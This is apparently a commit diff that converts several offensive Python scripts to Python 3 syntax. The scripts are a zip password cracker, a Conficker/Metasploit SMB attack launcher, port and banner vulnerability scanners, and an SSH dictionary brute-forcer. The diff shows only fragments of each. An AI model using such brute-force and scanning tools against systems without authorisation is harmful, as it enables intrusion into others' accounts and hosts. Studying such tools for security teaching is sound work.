Modernize Python 2 code to get ready for Python 3

crackers/unzip.py

@@ -1,10 +1,11 @@
+from __future__ import print_function
 import zipfile
 import optparse
 from threading import Thread
 def extractFile(zFile, password):
     try:
         zFile.extractall(pwd=password)
-        print '[+] Password = ' + password + "\n"
+        print('[+] Password = ' + password + "\n")
     except:
         pass
 def main():
@@ -13,7 +14,7 @@ def main():
     parser.add_option("-d", dest="dname", tpye="string", help="specify dictionary file")
     (options, args) = parser.parse_args()
     if (options.zname == None) | (options.dname == None):
-        print parser.usage
+        print(parser.usage)
         exit(0)
     else:
         zname = options.zname

metasploit/conficker.py

@@ -1,3 +1,4 @@
+from __future__ import print_function
 import os
 import optparse
 import sys
@@ -10,7 +11,7 @@ def findTgts(subNet):
         if nmScan[host].has_tcp(445):
             state = nmScan[host]['tcp'][445]['state']
             if state == 'open':
-                print '[+] Found Target Host: ' + host
+                print('[+] Found Target Host: ' + host)
                 tgtHosts.append(host)
     return tgtHosts
 def setupHandler(configFile, lhost, lport):
@@ -49,7 +50,7 @@ def main():
     parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt')
     (options, args) = parser.parse_args()
     if(options.tgtHost == None) | (options.lhost == None):
-        print parser.usage
+        print(parser.usage)
         exit(0)
     lhost = options.lhost
     lport = options.lport

scanners/nmap_port_scanner.py

@@ -1,10 +1,11 @@
+from __future__ import print_function
 import optparse
 import nmap
 def nmapScan(tgtHost, tgtPort):
     nmScan = nmap.PortScanner()
     nmScan.scan(tgtHost, tgtPort)
     state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
-    print " [*] " + tgtHost + " tcp/" +tgtPort + " " + state
+    print(" [*] " + tgtHost + " tcp/" +tgtPort + " " + state)
 def main():
     parser = optparse.OptionParser(('usage %prog -H <target host> -p <target port(s) separated by space>'))
     parser.add_option("-H", dest="tgtHost", type="string", help="specify tarhet host")
@@ -13,7 +14,7 @@ def main():
     tgtHost = str(options.tgtHost).strip()
     tgtPorts = [s.strip() for s in str(options.tgtPort).split(',')]
     if (tgtHost == None) | (tgtPorts[0] == None):
-        print parser.usage
+        print(parser.usage)
         exit(0)
     for tgtPort in tgtPorts:
         nmapScan(tgtHost, tgtPort.strip())

scanners/port_scanner.py

@@ -1,3 +1,4 @@
+from __future__ import print_function
 import optparse
 from socket import *
 from threading import *
@@ -9,25 +10,25 @@ def connScan(tgtHost, tgtPort):
         connSkt.send("hackerman")
         results = connSkt.recv(1024)
         screenLock.acquire()
-        print "[+] %d/tcp open" % (tgtPort)
-        print "[+] " + str(results)
+        print("[+] %d/tcp open" % (tgtPort))
+        print("[+] " + str(results))
     except:
         screenLock.acquire()
-        print "[-] %d/tcp closed" % tgtPort
+        print("[-] %d/tcp closed" % tgtPort)
     finally:
         screenLock.release()
         connSkt.close()
 def portScan(tgtHost, tgtPorts):
     try:
         tgtIP = gethostbyname(tgtHost)
     except:
-        print "[-] Cannot resolve '%s': Unknown Host" % tgtHost
+        print("[-] Cannot resolve '%s': Unknown Host" % tgtHost)
         return
     try:
         tgtName = gethostbyaddr(tgtIP)
-        print "\n[+] Scan Results for: " + tgtName[0]
+        print("\n[+] Scan Results for: " + tgtName[0])
     except:
-        print "\n[+] Scan Results for: " + tgtIP
+        print("\n[+] Scan Results for: " + tgtIP)
     setdefaulttimeout(1)
     for tgtPort in tgtPorts:
        t = Thread(target=connScan, args=(tgtHost, int(tgtPort.strip())))
@@ -40,7 +41,7 @@ def main():
     tgtHost = str(options.tgtHost).strip()
     tgtPorts = [s.strip() for s in str(options.tgtPort).split(',')]
     if (tgtHost == None) | (tgtPorts[0] == None):
-        print parser.usage
+        print(parser.usage)
         exit(0)
     portScan(tgtHost, tgtPorts)
 if __name__ == "__main__":

scanners/simple_vuln_scanner.py

@@ -1,3 +1,4 @@
+from __future__ import print_function
 import socket
 import os
 import sys
@@ -15,26 +16,26 @@ def checkVulns(banner, filename):
     f = open(filename, 'r')
     for line in f.readlines():
         if line.strip('\n') in banner:
-            print '[+] Server is vulnerable: ' + banner.strip('\n')
+            print('[+] Server is vulnerable: ' + banner.strip('\n'))
 def main():
     if len(sys.argv) == 2:
         filename = sys.argv[1]
         if not os.path.isfile(filename):
-            print '[-] ' + filename + ' does not exist.'
+            print('[-] ' + filename + ' does not exist.')
         exit(0)
         if not os.access(filename, os.R_OK):
-            print '[-] ' + filename + ' access denied.'
+            print('[-] ' + filename + ' access denied.')
         exit(0)
     else:
-        print '[-] Usage: ' + str(sys.argv[0]) + ' <vuln filename>'
+        print('[-] Usage: ' + str(sys.argv[0]) + ' <vuln filename>')
         exit(0)
     portList = [21, 22, 25, 80, 110, 443]
     for x in range(147, 150):
         ip = '192.168.95.' + str(x)
         for port in portList:
             banner = retBanner(ip, port)
             if banner:
-                print '[+] ' + ip + ': ' + banner
+                print('[+] ' + ip + ': ' + banner)
                 checkVulns(banner, filename)
 if __name__ == '__main__':
     main()

ssh/ssh_dictionary.py

@@ -1,3 +1,4 @@
+from __future__ import print_function
 import pxssh
 import optparse
 import time
@@ -12,9 +13,9 @@ def connect(host, user, pw, release):
     try:
         s = pxssh.pxssh()
         s.login(host, user, pw)
-        print '[+] Password found: ' + pw
+        print('[+] Password found: ' + pw)
         found = True
-    except Exception, e:
+    except Exception as e:
         if 'read_nonblocking' in str(e):
             fails += 1
             time.sleep(5)
@@ -34,19 +35,19 @@ def main():
     passFile = options.passwdFile
     user = options.user
     if host == None or passFile == None or user == None:
-        print parser.usage
+        print(parser.usage)
         exit(0)
     fn = open(passFile, 'r')
     for line in fn.readlines():
         if found:
-            print "[*] Exiting: Password found"
+            print("[*] Exiting: Password found")
             exit(0)
         if fails > 5:
-            print "[!] Exiting: Too Many SOcket Timeouts"
+            print("[!] Exiting: Too Many SOcket Timeouts")
             exit(0)
         connection_lock.acquire()
         password = line.strip("\r").strip("\n")
-        print "[-] Testing: " + str(password)
+        print("[-] Testing: " + str(password))
         t = Thread(target=connect, args=(host, user, password, True))
         child = t.start()
 if __name__ == '__main__':